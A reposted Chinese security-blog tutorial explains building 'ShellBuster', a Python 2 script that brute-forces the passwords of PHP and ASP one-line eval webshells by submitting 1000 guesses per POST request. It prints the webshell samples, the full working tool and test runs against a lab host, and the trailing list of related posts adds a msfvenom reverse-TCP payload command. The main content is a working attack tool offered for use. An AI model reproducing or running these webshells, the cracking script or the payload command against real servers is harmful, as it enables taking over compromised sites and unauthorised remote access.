python之提速千倍爆破一句话

最新推荐文章于 2021-03-21 08:20:38 发布
最新推荐文章于 2021-03-21 08:20:38 发布
阅读量175 收藏
点赞数
文章标签： python php shell
原文链接：https://my.oschina.net/ichunqiu/blog/816287
版权

难易程度  ★★★

阅读点     完整的原理解读与工具开发过程详述

文章作者  Binghe

文章来源  i春秋原创奖励计划

时间         2016年12月19日12.00

前言：最初思路源于T00ls版主接地气，一个低调、热心的安全研究者。向技术研究者和分享者致敬！！！

文章目录:

0x01 原理解读

0x02 开始实现

0x03 实战测试

0x01 原理解读
本来@接地气大牛已经写出了C#版本的工具了，那天在群里王子表哥突然那么一问，于是我就写了这篇详细的过程。

121649igbu51n0udgmmmrw.png

一般来说，一句话木马脚本的样本如下：

PHP：<?php @eval($_POST['v5est0r']);?>

ASP：<%eval request("v5est0r")%>

一般来说，一句话木马通过POST方式的传参方式如下（以写出字符的语句为例）：

PHP：v5est0r=echo "password is v5est0r";

ASP：v5est0r=response.write("password:v5est0r")

如下，我们这里准备了一个PHP版本的一句话木马，密码是v5est0r，POST的数据是v5est0r=echo "password is v5est0r";，变量提交能匹配上即执行echo语句，此为传统的单数据提交模式：

121650fokmbbz1ej8qo1jq.png
那么根据接地气大哥的思路，一次提交多个变量数据呢？多个变量用&连接符连接起来。无论是提交一个变量还是多个变量，服务器都是判断一次，只要提交内容中存在正确的变量就执行echo语句，于是乎，一次提交多个变量就大大增加了破解效率。

v5est0r=echo "password is v5est0r";&123=echo "password is 123";&admin=echo "password is admin";&1=echo "password is 1";&pass=echo "password is pass";&test=echo "password is test";

121650gfzdomq1qioo84bw.png
Apache一次允许同时提交1000个参数，  IIS允许一次提交5883个参数。

0x02 开始实现

那么，在python中如何实现呢？

下图是我们在python命令行下使用requests库测试提交，很方便：

121656k2dmkzhgdu1kkyk2.png

promote:~ v5est0r$ pip install requests

promote:~ v5est0r$ python

Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 26 2016, 12:03:00)

[GCC 4.2.1 (Apple Inc. build 5577)] on darwin

Type "help", "copyright", "credits" or "license" for more information.

>>> import requests

>>> data = {'123': 'echo "password is 123";'}

>>> r = requests.post('http://192.168.1.103/hack.php', data=data)

>>> print(r.text)



>>> data2 = {'v5est0r': 'echo "password is v5est0r";'}

>>> r = requests.post('http://192.168.1.103/hack.php', data=data2)

>>> print(r.text)

password is v5est0r

>>>


思路有了，开始一点一点在代码中实现，下面的代码体现了：

1. 判断该变量是是否与一句话木马变量匹配

2. 尝试多变量提交数据

3. 清空字典并尝试向添加新的变量


121654rtravg06n33runrg.png

如是，很简单的判断出了一句话木马的变量是`v5est0r`，当前的提交变量对应的数据是：

{'test': 'echo "password is test";', 'v5est0r': 'echo "password is v5est0r";', '123': 'echo "password is 123";', 'hack': 'echo "password is hack";'}

接下来要解决的问题就是从字典文件中读取变量并合并写入提交的数据组：

我们在本目录提供了字典文件`pass.txt`，内容如下：

1

12

123

Pass

Test

Admin

Whoami

Set


一开始我尝试把字典通过`readlines`逐行读取，并写入一个元组中，但是有换行符`\n`扰乱我们提取纯净的字典数据，为了解决或者这个问题我真是绞尽脑汁，我还是太笨了。。。，搞了两个小时才解决，使用`strip`函数删除无关数据，我还是不明白起初的思路利用`replace`函数替换为什么不可以：

post_data = {}

s = open('pass.txt','r')

content = s.readlines()


jj = []

i = 0


for i in range(0,7):

    mm = str(content).strip('\n')

    jj.append(mm)

print jj


for each in jj:

    post_data[each] = 'echo "password is %s";' % each

print post_data


121655sculnluscdlfdzpc.png

提交的数据是：

{'v5est0r': 'echo "password is v5est0r";', '12': 'echo "password is 12";', 'Admin': 'echo "password is Admin";', '1': 'echo "password is 1";', '123': 'echo "password is 123";', 'Pass': 'echo "password is Pass";', 'Test': 'echo "password is Test";'}

如此完美解决数据的拼接问题。

我们上面说过，Apache一次允许同时提交1000个参数，  IIS允许一次提交5883个参数。我们这里就不做具体的区分了，同一把字典以1000为单位分组：

post_data = {}  #创建字典集s = open('pass.txt','r')

content = s.readlines() #分行读取字典

dics = len(content)/1000


print '当前字典中变量个数为: %s' % str(len(content))


print "字典将被分割为 %s 份" % str(dics)


group = []  #字典每行独立化,写入元组

for h in range(0,len(content)):

    password = str(content[h]).strip('\n')  #剔除换行符

    group.append(password)

#print group


经过如上分析，接下来就是分批提交了，这就很简单了，初始DEMO如下：

# -*- coding: UTF-8 -*-#coding by v5est0r

#单次多变量提交变量方式,一句话爆破提速千倍


import requests


shell = 'http://192.168.1.103/hack.php'


#v5est0r=response.write("password:v5est0r")


post_data = {}  #创建字典集

s = open('pass.txt','r')

content = s.readlines() #分行读取字典

dics = len(content)/1000


print '当前字典中变量个数为: %s' % str(len(content))


print "字典将被分割为 %s 份" % str(dics)


group = []  #字典每行独立化,写入元组

for h in range(0,len(content)):

    password = str(content[h]).strip('\n')  #剔除换行符

    group.append(password)

#print group



#下面建立错误密码的返回标识符

post_test = {'test_pass_test': 'echo "test!!";'}

res = requests.post(shell, data=post_test)

wrong_res = res.text



for i in range(0,dics):

    new_group = []

    for k in range(i * 1000, (i + 1) * 1000):

        new_group.append(group[k])

        k += 1

    for each in new_group:

        post_data[each] = 'echo "password is %s";' % each

    r = requests.post(shell, data=post_data)

    print "正在进行第 %s 组字典爆破" % str(i+1)

    post_data.clear()

    i+=1

    print r.text

    if len(r.text) != len(wrong_res):

        break


如上，代码初步完成，我们先测试下效果：

这里准备了一个字典，有68万+的密码变量，我们把正确的密码放在最后一个：

121656ic4rz0ytt6062t6o.png

尝试执行脚本，可以看到，python处理数据极快：

121640jv69amqmd7fxxazz.gif

但是，出现了问题，明明是存在密码的，但是却没爆破出来。后来想了下，是因为密码在最后一位，我们在以千为单位分割时漏掉了余数，于是如下添加以下代码补齐余数：

new_group1 = []

for kk in range(dics * 1000, len(content)):

    new_group1.append(group[kk])

    kk += 1

for each in new_group1:

    post_data[each] = 'echo "password is %s";' % each

r = requests.post(shell, data=post_data)

print "正在进行余数字典爆破"

print r.text


121643h7lyiy7py5jioxf2.gif

如此，软件基本成型，我们还需加入ASP类型的脚本木马爆破，直接替换提交的数据即可。

为了方便我们的用户使用，需要进行变量在命令行由客户传入，即实现自定义和批量等功能：

客户传参使用ConfigParser模块，完整代码如下，加入了脚本类型的区分：

# -*- coding: UTF-8 -*-

#coding by v5est0r

#单次多变量提交变量方式,一句话爆破提速千倍


import requests,sys

import ConfigParser


shell = sys.argv[1]

shell_type=sys.argv[2]

pass_dic=sys.argv[3]


print '''


   Usage:python ShellBuster.py shell_url shell_type dic_dir


              Code by binghe/v5est0r

'''




post_data = {}  #创建字典集

s = open(pass_dic,'r')

content = s.readlines() #分行读取字典

dics = len(content)/1000


print '当前字典中变量个数为: %s' % str(len(content))


print "字典将被分割为 %s 份" % str(dics)


group = []  #字典每行独立化,写入元组

for h in range(0,len(content)):

    password = str(content[h]).strip('\n')  #剔除换行符

    group.append(password)

#print group



if str(shell_type)=="php":

    post_test = {'test_pass_test': 'echo "test!!";'}

    res = requests.post(shell, data=post_test)

    wrong_res = res.text

    post_test.clear()


    for i in range(0, dics):

        new_group = []

        for k in range(i * 1000, (i + 1) * 1000):

            new_group.append(group[k])

            k += 1

        for each in new_group:

            post_data[each] = 'echo "password is %s";' % each

        r = requests.post(shell, data=post_data)

        print "正在进行第 %s 组字典爆破" % str(i + 1)

        post_data.clear()

        i += 1

        print r.text

        if len(r.text) != len(wrong_res):

            break


    new_group1 = []

    for kk in range(dics * 1000, len(content)):

        new_group1.append(group[kk])

        kk += 1

    for each in new_group1:

        post_data[each] = 'echo "password is %s";' % each

    r = requests.post(shell, data=post_data)

    print "正在进行余数字典爆破"

    print r.text


#v5est0r=response.write("password:v5est0r")


if shell_type =='asp':

    # 下面建立错误密码的返回标识符

    post_test = {'test_pass_test': 'response.write("test!!!")'}

    res = requests.post(shell, data=post_test)

    wrong_res = res.text

    post_test.clear()


    for i in range(0, dics):

        new_group = []

        for k in range(i * 1000, (i + 1) * 1000):

            new_group.append(group[k])

            k += 1

        for each in new_group:

            post_data[each] = 'response.write("password: %s")' % each

        r = requests.post(shell, data=post_data)

        print "正在进行第 %s 组字典爆破" % str(i + 1)

        post_data.clear()

        i += 1

        print r.text

        if len(r.text) != len(wrong_res):

            break


    new_group1 = []

    for kk in range(dics * 1000, len(content)):

        new_group1.append(group[kk])

        kk += 1

    for each in new_group1:

        post_data[each] = 'response.write("password: %s")' % each

    r = requests.post(shell, data=post_data)

    print "正在进行余数字典爆破"

    print r.text


这里是使用if语句判断用户传入的是ASP还是PHP类型的一句话木马。

0x03 实战测试

脚本使用请如下填写相关参数：

python ShellBuster.py shell_url shell_type dic_dir
//python ShellBuster.py 木马地址 脚本类型 字典位置


PHP脚本测试效果，30万字典几秒就跑完了：

python ShellBuster.py http://192.168.1.103/hack.php php pass.txt


121647jfsssgbg9u9aceoa.gif
ASP脚本测试效果，30万字典几秒就跑完了：

python ShellBuster.py http://192.168.1.103:8080/hack.asp asp pass.txt


121646k2z366wkihon6697.gif

 

ASP脚本可以改成5000个变量一组，那样就更快了，估计1000万的字典也跑不了几秒。我下次写个封装函数出来再细分吧，先休息了。

基本就是这样，仅作方便使用，有问题大家可根据源码修改。

更多安全技术、精品好文、白帽黑客大佬尽在：http://bbs.ichunqiu.com/portal.php

转载于:https://my.oschina.net/ichunqiu/blog/816287

chengman3837
关注
[原创]K8一句话密码爆破工具{秒破10万} 支持ASP/PHP/ASPX/JSP/CFM/DIY-附件资源
03-02
[原创]K8一句话密码爆破工具{秒破10万} 支持ASP/PHP/ASPX/JSP/CFM/DIY-附件资源
【PyHacker编写指南】爆破一句话密码
XunanSec的博客
05-19 231
这节课是巡安似海PyHacker编写指南的《编写漏洞POC》 使用Python编写一句话密码爆破工具，解脱双手。 编写环境：Python2.x 00x1： 需要用到的模块如下： importrequests 00x2： 首先我们了解一下一句话马，一般post传递参数 一个简单的php一句话 <?phpeval($_POST['x'])?> OK，没问题，我们用浏览器打开传参看一下 由此可以看到密码为x，变量提交能匹配上即执行echo语句 这时我猜大家都有.
Python安全工具之一句话密码爆破(秒破十万)
weixin_30241919的博客
12-29 893
今天看到t00ls某版主发出的一个帖子，说一秒爆十万密码。 原理： 其原理就是apache和iis可以多参数提交，apache最多同时提交1000个参数，而iis据说可以提交5883个参数，那么就可以批量提交千个参数去判断哪个是一句话的密码，效率就比一个一个参数提交提高了千倍！ 操作： 输入正常密码时，会显示。我们可以放多个看看。 大概的原理明白了，就开始写Py...
[原创]K8一句话密码爆破工具{秒破10万} 支持ASP/PHP/ASPX/JSP/CFM/DIY
weixin_30258901的博客
01-12 1520
工具:K8_FuckOneShell 20161224编译:VS2012C#(.NETFrameworkv4.0)组织:K8搞基大队[K8team]作者:K8拉登哥哥博客:http://qqhack8.blog.163.com发布:2016/12/2413:32:04简介:采用多参数同时提交1000密码,本地内网测试10万/秒，3400万分别5-10分钟不等支持ASP/P...
基于 python 实现的千倍速一句话木马密码爆破工具
最新发布
07-05
【作品名称】：基于 python 实现的千倍速一句话木马密码爆破工具 【适用人群】：适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 【项目介绍】： ...
python之——使用python编写爆破脚本
12-21
dvwa高级爆破 需要用户名 密码 token cookie 每次通过账号密码访问之前，需要获取token """ import urllib2 from bs4 import BeautifulSoup def getToken(): """提取token""" url=...
Python版Mssql爆破小脚本
09-09
本文给大家分享的是使用Python实现的暴力破解mssql用户密码的脚本的代码，配合上合适的字典非常好用，有需要的小伙伴可以参考下
Python版Mysql爆破小脚本
09-09
本文给大家分享的是使用Python制作的MySQL在线用户密码的暴力破解脚本，非常的好用，有需要的小伙伴可以参考下
python制作企业邮箱的爆破脚本
12-23
Python制作企业邮箱爆破脚本涉及的关键知识点包括Python编程、POP3协议、网络通信和安全性。以下是这些知识点的详细说明： 1. Python编程： - `sys.argv`：这是一个列表，用于获取命令行参数。在Python脚本中，`...
php 字典 枚举,秒爆十万字典：奇葩技巧快速枚举“一句话后门”密码
weixin_28928727的博客
03-21 320
原标题：秒爆十万字典：奇葩技巧快速枚举“一句话后门”密码对于一句话大家都不陌生，有时会需要爆破。爆破的速度和目标的响应速度就有很大的关系了。那如果我们爆破的速度可以提升至少1000倍呢？首先如下图↓ 变量=echo “ok”;如果这个变量等于密码的时候，我们的语句就会被传参带入执行，那如果我们批量提交(即a=echo “ok”;&b=echo “ok”;&c=echo “ok”;&...
暴力破解一句话木马密码
爆破胡同的博客
01-12 7912
破解一句话木马 暴力破解
一句话马密码暴力破解篇（黑吃黑）
weixin_48421613的博客
08-21 2645
一句话暴力破解 1.1 我们得知一句话木马地址为：http://10.10.87.211/test.php，当我们不知道密码的时候该如何破解其密码？ 1.2 @eval($_POST[“123456”]) 我们得知一句话木马eval 可以将里面的内容执行，我们可以利用这个机制（先用我们已知的小马进行实验） 我们首先创建一个form表单，表单提交地址为小马地址 我们打开浏览器，在里面提交内容，而后进行抓包，在Repeater中打开 我们发现，在最下方出现了我们上传的内容以及文本框的nam
python hacker_Python hacker 之 爆破一句话木马
weixin_39846898的博客
12-05 525
00x1：需要用到的模块如下：import requests00x2：首先我们了解一下一句话木马，一般post传递参一个简单的php一句话木马eval($_POST['x'])?>先测试一下连接OK，没问题，我们用浏览器打开传参看一下由此可以看到密码为x，变量提交能匹配上即执行echo语句这时我猜大家都有了思路，构造post请求即可00x3：这里我们可以利用网址特性提交多个参数这样可以提高爆...
深入浅出玩转php一句话（含过waf新姿势）
热门推荐
wjy397的专栏
01-10 1万+
本帖最后由 sucppVK 于 2017-1-9 14:39 编辑 一、前言 本文原创作者：XXX，本文属i春秋原创奖励计划，未经许可禁止转载！ 各个论坛出了不少过waf的一句话 可笔者见还是有不少小白没有理解一句话（只知道是拿来链接菜刀） 今天打算做一篇面向初学者的教程，总结知识点，抛砖引玉。 让小白从彻底理解马的含义，到打造属于自己过waf的马。 ----
MySQL数据库***及漏洞利用总结
weixin_34357887的博客
11-14 929
MySQL 数据库***及漏洞利用总结SimeonMySQL 数据库是目前世界上使用最为广泛的数据库之一，很多著名公司和站点都使用 MySQL 作为其数据库支撑，目前很多架构都以 MySQL 作为数据库管理系统，例如 LAMP、和 WAMP 等。在针对网站***中，很多都是跟 MySQL 数据库有关，各种 MySQL 注入，MySQL 提权，MySQL 数据库 root 账号 webshell 获...
Meterpreter提权详解
devil8123665的博客
12-06 1672
转载https://www.cnblogs.com/backlion/p/9484950.html 0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马： msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe 这里我们为生成的木马指定了payload为: windows/me
Shell 脚本实例
Buster_ZR的博客
06-28 347
Shell 脚本实例 1. 数据库备份 执行db.dump.sh westos(数据库密码)脚本执行后会备份数据库中的所有库到/mnt/mysqldump目录中备份文件名称为“库名称 .sql”当此文件存在时报错并询问动作输入“S”跳过备份，当输入“B”时备份“库名称.sq””文件为“库名称backup.sql” ，当输入“O”时，覆盖源文件 脚本内容如下： #!/b...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值